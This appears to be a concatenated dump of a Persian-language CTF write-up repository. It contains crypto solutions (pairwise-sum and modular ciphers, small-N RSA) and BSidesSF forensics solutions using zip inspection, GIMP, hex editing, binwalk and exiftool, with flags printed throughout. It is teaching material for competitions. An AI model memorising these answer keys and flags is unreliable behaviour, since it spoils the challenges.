"Al": 13, "Si": 14, "P": 15, "S": 16, "Cl": 17, "Ar": 18, "K": 19, "Ca": 20, 48 | "Sc": 21, "Ti": 22, "V": 23, "Cr": 24, "Mn": 25, "Fe": 26, "Co": 27, "Ni": 28, "Cu": 29, "Zn": 30, 49 | "Ga": 31, "Ge": 32, "As": 33, "Se": 34, "Br": 35, "Kr": 36, "Rb": 37, "Sr": 38, "Y": 39, "Zr": 40, 50 | "Nb": 41, "Mo": 42, "Tc": 43, "Ru": 44, "Rh": 45, "Pd": 46, "Ag": 47, "Cd": 48, "In": 49, "Sn": 50, 51 | "Sb": 51, "Te": 52, "I": 53, "Xe": 54, "Cs": 55, "Ba": 56, "La": 57, "Ce": 58, "Pr": 59, "Nd": 60, 52 | "Pm": 61, "Sm": 62, "Eu": 63, "Gd": 64, "Tb": 65, "Dy": 66, "Ho": 67, "Er": 68, "Tm": 69, "Yb": 70, 53 | "Lu": 71, "Hf": 72, "Ta": 73, "W": 74, "Re": 75, "Os": 76, "Ir": 77, "Pt": 78, "Au": 79, "Hg": 80, 54 | "Tl": 81, "Pb": 82, "Bi": 83, "Po": 84, "At": 85, "Rn": 86, "Fr": 87, "Ra": 88, "Ac": 89, "Th": 90, 55 | "Pa": 91, "U": 92, "Np": 93, "Pu": 94, "Am": 95, "Cm": 96, "Bk": 97, "Cf": 98, "Es": 99, "Fm": 100, 56 | "Md": 101, "No": 102, "Lr": 103} 57 | 58 | ascii_sequence = [atomic_numbers_dict.get(symbol, None) for symbol in elements] 59 | ascii_decoded= ''.join(chr(num) if 32 <= num <= 126 else '?' for num in ascii_sequence) 60 | decoded_text = binascii.unhexlify(ascii_decoded).decode('utf-8', errors='replace') 61 | print("FLag:", decoded_text) 62 | ``` 63 | 64 | 65 | 66 | ??? success "FLAG :triangular_flag_on_post:" 67 |
`CYBORG{PERI0DIC_C1PH3R_0F_3LEMENT5}`
68 | 69 | --- 70 | 71 | !!! نویسنده 72 | [HIGHer](https://twitter.com/HIGH01012) 73 | 74 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/USCCTF/decipherium.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/USCCTF/decipherium.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/USCCTF/factor p-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/USCCTF/factor p-1.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/USCCTF/periodic_Table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/USCCTF/periodic_Table.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Karaball.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/Karaball.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Modal_1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/Modal_1.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Modal_1.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Urmia-CTF 4 | - Urmia-CTF-2024 5 | - Crypto 6 | --- 7 | 8 | # چالش Modal 1 9 | 10 |
11 | ![Modal 1](Modal_1.PNG) 12 |
13 | 14 | ## آشنایی با مساله 15 | 16 | تو این سوال به ما دو فایل 17 | `challenge.py` 18 | و 19 | `output.txt` 20 | داده شده است. 21 | 22 | === "challenge.py" 23 | ```py title="challenge.py" linenums="1" 24 | from secret import flag 25 | 26 | size = len(flag) 27 | for i in range(size-1): 28 | print(ord(flag[i]) + ord(flag[i+1]), end=",") 29 | ``` 30 | === "output.txt" 31 | ```txt title="output.txt" linenums="1" 32 | 216,215,218,225,206,187,153,163,166,174,217,167,169,199,153,173,227,156,155,199,203,156,96,155,222,210,207,163,148,196,200,171,187,225,233, 33 | ``` 34 | 35 | همانطور که در کد مشخص است در این سوال کد اسکی حروف کنارهم باهم جمع شده اند و بصورت لیستی در اختیار ما قرار گرفته است و ما باید فلگ را بازیابی کنیم. 36 | 37 | ## راه حل 38 | 39 | از آنجا که ما میدانیم فلگ با 40 | `uctf` 41 | شروع میشود، بسادگی میتوانیم حروف بعدی را بدست بیاوردیم. 42 | 43 | ```py 44 | lst = [216,215,218,225,206,187,153,163,166,174,217,167,169,199,153,173,227,156,155,199,203,156,96,155,222,210,207,163,148,196,200,171,187,225,233] 45 | 46 | known = [ord('u')] 47 | for i in range(len(lst)): 48 | known.append( lst[i]-known[-1]) 49 | print( ''.join(map(chr, known)) ) 50 | ``` 51 | 52 | 53 | --- 54 | ??? success "FLAG :triangular_flag_on_post:" 55 |
`uctf{Sh1r4z_Haf3zi3h_l00ks_p3aceFul}`
56 | 57 | 58 | !!! نویسنده 59 | [mheidari98](https://github.com/mheidari98) 60 | 61 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Modal_2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/Modal_2.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Modal_2.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Urmia-CTF 4 | - Urmia-CTF-2024 5 | - Crypto 6 | - z3 7 | --- 8 | 9 | # چالش Modal 2 10 | 11 |
12 | ![Modal 2](Modal_2.PNG) 13 |
14 | 15 | ## آشنایی با مساله 16 | 17 | تو این سوال به ما دو فایل 18 | `challenge.py` 19 | و 20 | `output.txt` 21 | داده شده است. 22 | 23 | === "challenge.py" 24 | ```py title="challenge.py" linenums="1" 25 | from secret import flag 26 | 27 | p = 4066351909 28 | 29 | for f in flag: 30 | print((ord(f)*2022684581 - 127389238) % p, end=",") 31 | ``` 32 | === "output.txt" 33 | ```txt title="output.txt" linenums="1" 34 | 678296017,867140740,2721963345,2868842574,615347776,1035002716,2847859827,1391709415,2784911586,636330523,909106234,2763928839,1223847439,699278764,1223847439,2742946092,825175246,3393411249,2889825321,3393411249,1370726668,594365029, 35 | ``` 36 | 37 | 38 | 39 | ## راه حل 40 | 41 | میبینیم بر روی هر حرف یکسری عملیات ریاضی انجام شده‌است، در نتیجه اگر بدانیم هر حرف بعد از این عملیات ریاضی چه مقداری میشود، میتوانیم فلگ را بدست بیاوریم (روش یک) 42 | 43 | همچنین میتوانیم با استفاده از 44 | [**z3**](https://github.com/Z3Prover/z3) 45 | که یک 46 | `SMT solver` 47 | هست نیز برای حل این مساله استفاده کنیم (روش دو) 48 | 49 | 50 | === "روش یک" 51 | ```py 52 | p = 4066351909 53 | d = {(i*2022684581 - 127389238)%p:chr(i) for i in range(0x20, 0x80)} 54 | enc = [678296017,867140740,2721963345,2868842574,615347776,1035002716,2847859827,1391709415,2784911586,636330523,909106234,2763928839,1223847439,699278764,1223847439,2742946092,825175246,3393411249,2889825321,3393411249,1370726668,594365029] 55 | print( ''.join(map(d.get, enc)) ) 56 | ``` 57 | 58 | === "روش دو" 59 | ```py 60 | from z3 import Int, BitVec, sat, Solver, Or, And, BV2Int, Int2BV, Distinct, LShR 61 | 62 | def solve(k): 63 | x = Int('x') 64 | s = Solver() 65 | s.add( 0x20<=x, x<=0x80 ) # ascii printable 66 | s.add( (x*2022684581 - 127389238) % p == k) 67 | if s.check() == sat: 68 | return chr(s.model()[x].as_long()) 69 | 70 | p = 4066351909 71 | enc = [678296017,867140740,2721963345,2868842574,615347776,1035002716,2847859827,1391709415,2784911586,636330523,909106234,2763928839,1223847439,699278764,1223847439,2742946092,825175246,3393411249,2889825321,3393411249,1370726668,594365029] 72 | print( ''.join(map(solve, enc)) ) 73 | ``` 74 | 75 | --- 76 | ??? success "FLAG :triangular_flag_on_post:" 77 |
`uctf{Sh1ny_pAsArg4d43}`
78 | 79 | 80 | !!! نویسنده 81 | [mheidari98](https://github.com/mheidari98) 82 | 83 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Rasa.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/Rasa.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Sergio.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/Sergio.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/Sergio.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Urmia-CTF 4 | - Urmia-CTF-2024 5 | - Crypto 6 | - RSA 7 | --- 8 | 9 | # چالش Sergio 10 | 11 |
12 | ![Sergio](Sergio.PNG) 13 |
14 | 15 | ## آشنایی با مساله 16 | 17 | در این سوال به ما دو فایل 18 | `public_key.txt` 19 | و 20 | `encrypted_message.txt` 21 | داده شده است 22 | 23 | ```txt title="public_key.txt" linenums="1" 24 | Constant Number = 65537 25 | Public Key = 139551725550533062709001988886045836849 26 | ``` 27 | ```txt title="encrypted_message.txt" linenums="1" 28 | 70886407371304490355797613974913658205 29 | ``` 30 | که ظاهرا فلگ با رمزنگاری rsa رمز شده است و باید بتوانیم متن رمز را رمزگشایی کنیم تا به فلگ برسیم 31 | 32 | ## راه حل 33 | 34 | برای این چالش از آنجا که **N** کوچک است، بسادگی به کمک سایت 35 | [factordb](https://factordb.com/index.php?query=139551725550533062709001988886045836849) 36 | میتوانیم عوامل اول **N** را بدست آوردیم و به فلگ برسیم. 37 | 38 | 39 | ```py 40 | pad = lambda s: '0'+s if len(s)%2 else s 41 | long_to_bytes = lambda c: bytes.fromhex(pad(hex(c)[2:])) 42 | inverse = lambda a, b: pow(a, -1, b) 43 | 44 | e = 65537 45 | N = 139551725550533062709001988886045836849 46 | c = 70886407371304490355797613974913658205 47 | 48 | p, q = 10073925425153076761, 13852765397894786009 49 | assert p*q == N 50 | phi = (p-1)*(q-1) 51 | d = inverse(e, phi) 52 | long_to_bytes(pow(c, d, N)) 53 | ``` 54 | 55 | همچنین میتوانستیم از 56 | [این صفحه](https://www.dcode.fr/rsa-cipher) 57 | سایت dcode.fr نیز برای بدست آوردن فلگ استفاده کنیم. 58 | 59 |
60 | ![dcode_fr](dcode_fr.PNG) 61 |
62 | 63 | 64 | --- 65 | ??? success "FLAG :triangular_flag_on_post:" 66 |
`UCTF{b4b4k_fort}`
67 | 68 | 69 | !!! نویسنده 70 | [mheidari98](https://github.com/mheidari98) 71 | 72 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/dcode_fr.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/dcode_fr.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/step1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/step1.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/step2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/step2.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/step3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/step3.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/Urmia-CTF/step4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/Urmia-CTF/step4.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/TsukuCTF/PQC0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2025/TsukuCTF/PQC0.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/TsukuCTF/PQC1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2025/TsukuCTF/PQC1.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/TsukuCTF/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2025/TsukuCTF/image.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/TsukuCTF/kem-keyGen algorithm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2025/TsukuCTF/kem-keyGen algorithm.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/TsukuCTF/key establishment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2025/TsukuCTF/key establishment.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/TsukuCTF/openssl key info.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2025/TsukuCTF/openssl key info.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/TsukuCTF/output1.txt: -------------------------------------------------------------------------------- 1 | ==== private_key[:128] ==== 2 | -----BEGIN PRIVATE KEY----- 3 | MIIJvgIBADALBglghkgBZQMEBAIEggmqMIIJpgRAaa2HTyQm2vmmDmw5eheMJp6g 4 | Jm3scrIloNZZF2eKncQZfPyppNNNOwAV3WY 5 | ==== ciphertext(hex) ==== 6 | 73e322ebc019d4c299e4e270b66d27c96e3cef69834d7fde38c6d7d2f3c3cedeb94f3414b4023e65924b498dc5a314c46390270387001282774702af9482220b92560caa7e304fc499257acefafa860bdd0522239ce7df3b0ecf04fa4dca2697788e2f733576fa1015c7927d6f7a765970e97203fd48a17bf56ba86d23e234100f74092b3a2c8c1a88444a5454174b526121bc1dceeea1d8a1fb2e2b5f88ead8ea03af10d95fe34e6277678b6b907007f256bb12614699109139be3d72ce94b143a3f61cc35fee36b70893153e28b21002df4835af9aff43c36b873a430b049db97b75cea1628984e8dc912e511d9a358621e6d0f9762df7301b6e22d9237deedc1a72a0068ae84d9446827daf59e8e8728e0c46d149a2d4c4fdb67bfe8e39d7acbdc384f560f7f2ea253b350e80124098fc923e5bf9fc5d385858f4ecbb46130e55a2ff704b2d7b69e5d9b3f9fd3c0ef5bf9a7e17e095206de6d8254fae8f5cb5ac1f8fef51a23a65a33ca91d027e2977931f6716320a0f6ad6962a162c456ef9482ea6f59bff0ea264efc1072d9edfb6536b2a7aa67cb618512048fff844e6c82d02fc3e3bcd6896e1e35ab8e47e9abf4de6900850fad7732c4f56553698ce7cfdaa01aa1cae2fc88ca0043c94d22a5c42f1893816571e82d6a3b66b8f835f811a085381388cfe5c36428eaae7a4e664bb0c4c00e0387d9e74f5041c37b349c976e169c9703d4d3c6eea3d26cd43eb38e0661cbd8687056820cb320df5421d5268c2e9645f0492033c713256bdd5e79cebd3efab8c859426bb6989c70aa0639d583c370446a1271c32abd9079e0aa88ede2b158261db39ae5d2d189fced9406a9dc5329a8b959bdd4e245ea1f8be2d5516cbd5777b64e09bd69ba07997e1a72fdb03ba2620a1c90d7a654eff545c49a8196e0ab93218d6cfb36b1cd0125900e26dd6688aa400d3d7684182a6011217469795a381b5bb7fbc805b28acd097a149649cb601ed571d529a9a8d45d3ab4d41e3e3d8e136d3b7fb1d571c44b4848e5b56dee14b0f431a5c4f417af6790f3b6df281974c4f9340b90e3f1880ee9c719ea1b7bd12356045f9ce25cbd24769aa1acabfee8d7c8e57f0d876f45ebefa5871bc0c10e0e706a7703ed856f3da904edf3a6d472321844b681d5f0c98a4b0e178eb6096d36ce90334d6df6f4ed877852a6f45ade4eeadf72cccdcf342eccd8d1b2322b83047fd256e7a7152802efc4577e3a90c714a7b2af352efe9111c149c8fbaa71bca6d515ec4e9529b5a55d9309378e0698c7c33e85e3425bfda177ec1aa1d81e402ce54405700dc7df9d4688cfa98e53657f7e4c8db52bec306a7e07b73fc26ce4a48888e65c80a4af8ec8251abbbd5521f0b098e5a8f43112fe9d96feeb51bcbedc19dd38d0f4def5be292411a5668d329bb0b74cc6a8526291421b9490bf29dcdc8f0072c7391434cf30f29c007c38f3ef31ffe774f4d9460bd743e4ce65b0617aa52a30914e733257f4b6a80e1f6aff06c342f8dd30532621db7df 7 | ==== encrypted_flag(hex) ==== 8 | fd302c76946654e6e469a4656b90a8d60fb3492ed8c2238350e8e833a35b3587 -------------------------------------------------------------------------------- /docs/crypto/writeups/2025/UMDCTF/Cover-brainrot13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2025/UMDCTF/Cover-brainrot13.png -------------------------------------------------------------------------------- /docs/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/favicon.png -------------------------------------------------------------------------------- /docs/forensic/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/file-search-outline 3 | --- 4 | 5 | # جرم‌شناسی 6 | 7 | تا حالا با خودتون فکر کردین وقتی یه سازمانی هک میشه، چجوری میفهمن از کجا خوردن؟ 8 | 9 | ما وارد عمل میشیم :sunglasses: 10 | 11 | بصورت کلی علم جرم شناسی به این عمل میپردازه که یک جرم چجوری اتفاق افتاده 12 | 13 | شرلوک حوزه امنیت سایبری ماییم =)) 14 | 15 | تو این دسته از چالش ها اکثرا یه فایلی در اختیار ما قرار میدن و ما باید با توجه به دانشی که از قبل کسب کردیم، در میان انبوهی از دیتا به فلگ مورد نظر طراح برسیم 16 | 17 | تو این علم دانش فایل سیستم به وفور نیاز میشه و دانش کلی فایل ها از قبیل این که هر فایل چه فرمتی داره و فایل ها به چه صورت خونده یا نوشته میشن و تریک های آسیب پذیری در اونها به چه صورت هست -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/doctor-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/doctor-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/doctor-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/doctor-2.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/doctor-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/doctor-3.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/doctor.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BSidesSF 4 | - BSidesSF-2024 5 | - Forensics 6 | - Word 7 | --- 8 | 9 | تو این چلنج به ما یه فایل docx دادن که یه سری عکس رو نشون میده 10 | 11 | در قدم اول مواجهه با فایل ورد، باید بازش کنیم و اگه فلگی توش نبود، در وهله دوم با zip viewer بازش کنیم 12 | 13 | تو محتویات متنی این فایل هم فلگی نبود و پس با zip viewer بازش میکنیم =))) 14 | 15 | ![doctor-1](doctor-1.png) 16 | 17 | یکم که تو فولدر ها بگردیم و یه سری چیزا مثل وجود داشتن یا نداشتن macro مطمئن بشیم، چشممون میخوره به عکس هایی که تو فایل ورود گنجونده شدن 18 | 19 | اما wait, what? 20 | 21 | ![doctor-2](doctor-2.png) 22 | 23 | چرا ۵ تا عکسه؟ 24 | مگه تو فایل ورد ۴ تا نبود؟ 25 | 26 | یه عکس اضافیه 27 | 28 | که اونم image-0.png هست فلگ توشه 29 | 30 | ![doctor-3](doctor-3.png) 31 | 32 | 33 | --- 34 | ??? success "FLAG :triangular_flag_on_post:" 35 |
`CTF{st0ck_cut3_p1c5}`
36 | 37 | 38 | !!! نویسنده 39 | [SafaSafari](https://twitter.com/SafaSafari3) 40 | 41 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/javai-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/javai-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/javai-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/javai-2.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/javai.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BSidesSF 4 | - BSidesSF-2024 5 | - Forensics 6 | - Word 7 | --- 8 | 9 | اینجا هم یه فایل docx به ما دادن و بعد از باز کردنش متوجه میشیم باید با zip viewer هم یه فرصت بهش بدیم 10 | 11 | عه این فایل getflag.class چیه اینجا؟ 12 | 13 | ![javai-1](javai-1.png) 14 | 15 | فایل رو اکسترکت میکنیم و میریم سراغ JadX و فایل رو باز میکنیم و فلگ رو دو دستی تقدیممون میکنه 16 | 17 | ![javai-2](javai-2.png) 18 | 19 | --- 20 | ??? success "FLAG :triangular_flag_on_post:" 21 |
`CTF{javai_java_with_100x_ai}`
22 | 23 | 24 | !!! نویسنده 25 | [SafaSafari](https://twitter.com/SafaSafari3) 26 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/redacted-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/redacted-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/redacted-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/redacted-2.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/redacted.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BSidesSF 4 | - BSidesSF-2024 5 | - Forensics 6 | - PNG 7 | --- 8 | 9 | 10 | اینجا یه عکس داریم که یه تیکش با ادیتور موبایل روش خط کشیده شده 11 | 12 | ![redacted-1](redacted-1.png) 13 | 14 | یه بار یه ترفند تو توییتر دیدم که میشد زیر این خطا رو خوند =))) 15 | 16 | پس دست به کار شدم و تو gimp فایل رو باز کردم و 17 | 18 | با یکم بازی بازی کردن با آپشنای gimp تونستم فلگ رو بکشم بیرون 19 | 20 | ![redacted-2](redacted-2.png) 21 | 22 | --- 23 | ??? success "FLAG :triangular_flag_on_post:" 24 |
`CTF{censor_this}`
25 | 26 | 27 | !!! نویسنده 28 | [SafaSafari](https://twitter.com/SafaSafari3) 29 | 30 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/sgai-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/sgai-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/sgai-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/sgai-2.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/sgai-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/sgai-3.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/sgai-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/sgai-4.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/sgai.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BSidesSF 4 | - BSidesSF-2024 5 | - Forensics 6 | - SGI 7 | - Steganography 8 | --- 9 | 10 | این چلنج ۴ تا فلگ مختلف داشت که موفق شدم ۳ تاشون رو به دست بیارم 11 | 12 | پسوند فایل چیه؟ sgi دیگه چه کوفتیه؟ 13 | 14 | مهم نیس 15 | 16 | چون اگه دبل کلیک کنیم روش، با gimp باز میشه :joy: 17 | 18 | به شخصه خیلی باهاش بازی بازی کردم و تا بالاخره فهمیدم اگه layer alpha رو مخفی کنم، یه فلگ میزنه بیرون 19 | 20 | ![sgai-1](sgai-1.png) 21 | 22 | برا فلگ بعدی باید حرفه ای تر عمل کنیم :sunglasses: 23 | 24 | پس میریم سراغ hex editor 25 | 26 | ![sgai-2](sgai-2.png) 27 | 28 | زارت فلگ بعدی هم دراومد =))) 29 | 30 | برا فلگ سوم بعد از ساعتها آزمون و خطا تصمیم گرفتم یه فایل sgi دیگه وردارم و با این مقایسه کنم 31 | 32 | پس با این دستور، یه rebase از همین فایل sgi ساختم و هردو رو تو hex editor باز کردم 33 | 34 | ```bash 35 | convert sgai.sgi a.sgi 36 | ``` 37 | 38 | ![sgai-3](sgai-3.png) 39 | 40 | 41 | تفاوت واضحه 42 | 43 | یه مشت FF اینور هستن که اونور 00 ان 44 | 45 | با بررسی struct فایل [از اینجا](https://en.wikipedia.org/wiki/Silicon_Graphics_Image) 46 | فهمیدم که این تیکه پدینگه 47 | 48 | پس کل پدینگ که میشه از 0x6c تا 0x1ff کپی کردم xor زدم با FF تا همشون 00 بشن 49 | 50 | ![sgai-4](sgai-4.png) 51 | 52 | اینم از فلگ سوم 53 | 54 | --- 55 | ??? success "FLAG :triangular_flag_on_post:" 56 |
`CTF{i_name_thee_flag}`
57 |
`CTF{invisibility_cloak}`
58 |
`CTF{padpadpad_really_do_we_need_512}`
59 | 60 | 61 | !!! نویسنده 62 | [SafaSafari](https://twitter.com/SafaSafari3) 63 | 64 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/undelete-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/undelete-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/undelete.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BSidesSF 4 | - BSidesSF-2024 5 | - Forensics 6 | --- 7 | 8 | این چلنج ساده ترین چلنج بود =)) 9 | 10 | یه binwalk ساده میتونست فلگ رو در بیاره 11 | 12 | ```bash 13 | binwalk --dd=".*" floppy.img 14 | ``` 15 | 16 | ![undelete-1](undelete-1.png) 17 | 18 | --- 19 | ??? success "FLAG :triangular_flag_on_post:" 20 |
`CTF{144_mb_enough_for_anybody}`
21 | 22 | 23 | !!! نویسنده 24 | [SafaSafari](https://twitter.com/SafaSafari3) 25 | 26 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/ztxt-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/BSidesSF/ztxt-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/BSidesSF/ztxt.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BSidesSF 4 | - BSidesSF-2024 5 | - Forensics 6 | --- 7 | 8 | این چلنج از اون یکی هم راحت تره :joy: 9 | 10 | با exiftool فلگ در میاد 11 | 12 | ![ztxt-1](ztxt-1.png) 13 | 14 | --- 15 | ??? success "FLAG :triangular_flag_on_post:" 16 |
`CTF{zhis_zis_zhe_zlag}`
